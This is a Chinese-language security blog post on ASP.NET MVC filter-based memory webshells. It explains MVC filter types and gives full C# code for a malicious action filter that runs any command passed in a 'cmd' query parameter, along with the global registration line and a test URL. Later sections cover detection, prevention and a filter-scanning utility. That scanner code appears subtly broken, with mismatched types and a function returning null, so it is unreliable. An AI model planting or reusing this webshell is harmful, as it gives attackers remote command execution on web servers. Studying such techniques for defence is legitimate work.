【ASP.Net】ASP.Net MVC Filter 型内存马

文章目录
  1. 1. ASP.Net MVC Filter 型内存马
    1. 1.1. 什么是 ASP.Net MVC Filter 型内存马
    2. 1.2. Filter 的类型及工作原理
  2. 2. 如何创建 Filter 型内存马
    1. 2.1. 创建恶意过滤器类
    2. 2.2. 注册
    3. 2.3. 验证
  3. 3. 检测与防范 Filter 型内存马
    1. 3.1. 检测方法
    2. 3.2. 防范措施
  4. 4. 检测实例
    1. 4.1. 检测原理

概述:ASP.Net MVC Filter 型内存马 说明及实例

相关关键字

ASP.Net MVC Filter 型内存马

相关文章

ASP.Net MVC Filter 型内存马的一大特性就是必须依赖于 system.web.mvc.dll 这个东西,也就是只能在 .net mvc 下使用,执行权限为iis用户权限。

什么是 ASP.Net MVC Filter 型内存马

  • ASP.NET MVC(Model - View - Controller)是一种用于构建 Web 应用程序的框架。Filter(过滤器)是这个框架中的一个重要组件,它可以在请求处理管道的不同阶段对请求进行预处理或后处理。
  • ASP.NET MVC Filter 型内存马是一种恶意利用技术,攻击者通过在ASP.NET MVC 应用程序的内存中注入恶意的过滤器,来篡改或控制应用程序的请求处理流程。这种内存马通常不会在磁盘文件中留下明显的痕迹,使得检测和清除更加困难。

Filter 的类型及工作原理

  • 授权过滤器(Authorization Filters)
    • 这是最先执行的过滤器类型。它们用于确定用户是否有权限访问某个资源或执行某个操作。例如,在一个用户管理系统中,授权过滤器可以检查用户是否已经登录,或者是否具有特定的角色权限来访问某个管理页面。
    • 典型的实现接口是IAuthorizationFilter。当一个请求到达时,授权过滤器会检查请求中的身份验证信息和授权规则,如果用户没有权限,它可以直接阻止请求进一步处理,并返回一个未经授权的响应。
  • 操作过滤器(Action Filters)
    • 操作过滤器围绕着控制器的操作方法执行。它们可以在操作方法执行之前和之后执行代码。在操作方法执行之前,它们可以用于修改传入的参数,或者进行一些初始化工作。在操作方法执行之后,它们可以用于处理返回结果,比如格式化数据或者记录操作日志。
    • 实现接口为IActionFilter。例如,一个操作过滤器可以在操作方法执行之前记录传入的参数值,在操作方法执行之后记录返回的结果值,这样就可以方便地进行调试和监控应用程序的行为。
  • 结果过滤器(Result Filters)
    • 结果过滤器在操作结果(如视图渲染、JSON 数据返回等)执行过程中进行处理。它们可以修改操作结果,例如修改视图的布局或者对返回的 JSON 数据进行加密。
    • 接口是IResultFilter。比如,在一个返回 JSON 数据的 Web API 中,结果过滤器可以对返回的 JSON 数据进行额外的字段添加或者加密处理,然后再将其发送给客户端。
  • 异常过滤器(Exception Filters)
    • 异常过滤器用于处理在请求处理过程中抛出的异常。它们可以捕获异常,并返回一个友好的错误页面或者错误消息给客户端,而不是让应用程序直接崩溃。
    • 实现接口为IExceptionFilter。例如,当数据库查询出现异常时,异常过滤器可以捕获这个异常,记录详细的错误信息,然后返回一个自定义的 “服务器内部错误” 页面给用户。

如何创建 Filter 型内存马

创建恶意过滤器类

**创建:**首先,需要创建一个实现了相应过滤器接口(如 IActionFilter ) 的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;

namespace ContosoSite.Filter
{
public class MailciousActionFilter : IActionFilter
{
public void OnActionExecuting(ActionExecutingContext filterContext)
{
string cmd = filterContext.HttpContext.Request.QueryString["cmd"];
if (cmd != null)
{
HttpResponseBase response = filterContext.HttpContext.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
Console.WriteLine("auth filter inject");
}
public void OnActionExecuted(ActionExecutedContext filterContext)
{
// 在这里可以篡改返回结果
if (filterContext.Result is ViewResult viewResult)
{
// 例如,在视图数据中添加恶意数据
viewResult.ViewData["maliciousData"] = "This is malicious data";
}
}
}
}

**注册:**创建完成后,则需要将恶意过滤器注入到应用程序的请求处理管道中

攻击者可以利用应用程序中的漏洞(如代码注入漏洞)来将恶意过滤器添加到过滤器集合中。在ASP.NET MVC 中,过滤器可以通过GlobalFilters.Filters属性进行全局添加,或者在控制器或操作方法级别通过特性(Attribute)进行添加。如下所示是一种全局注入方式:

1
GlobalFilters.Filters.Add(new MaliciousActionFilter());

注册

验证

1
http://win-1nmhtjkvjbo:8090?cmd=calc

可以看到页面访问成功。说明 Filter 已经生效了。查看进程也可以看到计算机已经启动。

检测与防范 Filter 型内存马

检测方法

  • 内存扫描:可以使用内存分析工具来扫描应用程序的内存空间,查找可疑的过滤器类实例。例如,通过查找实现了过滤器接口的未知类,或者查找在运行时动态创建和添加的过滤器。
  • 请求监控与日志分析:对应用程序的请求进行详细的监控和日志记录。分析请求处理过程中的异常行为,如参数被篡改或者返回结果被修改的情况。如果发现某些请求的处理不符合正常的业务逻辑,可能暗示存在内存马。

防范措施

  • 输入验证与净化:在控制器的操作方法中,对所有的输入参数进行严格的验证和净化,避免过滤器(无论是恶意还是无意的)对参数进行非法篡改。
  • 权限控制:确保只有授权的代码才能添加或修改过滤器。对GlobalFilters.Filters的访问应该进行严格的权限控制,防止未经授权的代码进行过滤器的注入。
  • 安全编码实践:遵循安全编码原则,避免出现代码注入等漏洞,这样可以从源头上减少内存马被注入的风险。例如,在使用用户输入来动态创建对象或者调用方法时,要进行充分的安全检查。

检测实例

相关参考

检测原理

主要是通过 global.asax 中全局注册的 GlobalFilters 来获取当前注册的模块都有哪些。

代码

以下代码为我个人在上述参考基础上简化后的代码,仅自测使用。

主要两个接口,一个是获取当前注册的所有过滤器的接口 GetLoadedFilters,一个是根据程序集的 Type 和 HashCode 卸载程序集的接口 DeleteFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
using System.Web.Mvc;
using System.Web.Script.Serialization;
using System.Xml.Linq;

namespace FilterScann
{
public class FilterScanerType
{
public string Filter_Type;
public string Filter_Order;
public string Filter_Scope;
public string Filter_CodeBase;
public string Filter_HashCode;
}

public static class FilterScanner
{
public static string GetLoadedFilters()
{
try
{
string strFilters = null;
List<FilterScanerType> filters = new List<FilterScanerType>();

GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;

foreach (Filter filter in globalFilterCollection)
{
DnrspFilter dnrspFilter = new FilterScanerType();
dnrspFilter.Filter_Type = filter.Instance.GetType().ToString();
dnrspFilter.Filter_Order = filter.Order.ToString();
dnrspFilter.Filter_Scope = filter.Scope.ToString();
dnrspFilter.Filter_CodeBase = filter.Instance.GetType().Assembly.CodeBase.ToString();
dnrspFilter.Filter_HashCode = filter.Instance.GetType().Assembly.GetHashCode().ToString();
filters.Add(dnrspFilter);
}

JavaScriptSerializer serializer = new JavaScriptSerializer();
string ReportData = serializer.Serialize(filters);
return strFilters;
}
catch (Exception e)
{
return e.ToString();
}
}

public static bool DeleteFilter(string filterType, string hashcode)
{
try
{
GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;

foreach (Filter filter in globalFilterCollection)
{
string strType = filter.Instance.GetType().ToString();
string strHashCode = filter.Instance.GetType().Assembly.GetHashCode().ToString().GetHashCode().ToString();
if(strType.Equals(filterType) && hashcode.Equals(strHashCode))
{
FieldInfo filtersField = globalFilterCollection.GetType().GetField("_filters",
System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
List<Filter> filtersList = (List<Filter>)filtersField.GetValue(globalFilterCollection);
bool flag = filtersList.Remove(filter);
if (flag)
{
return true;
}
else
{
return false;
}
}
}
return false;
}
catch (Exception e)
{
return false;
}
}
}
}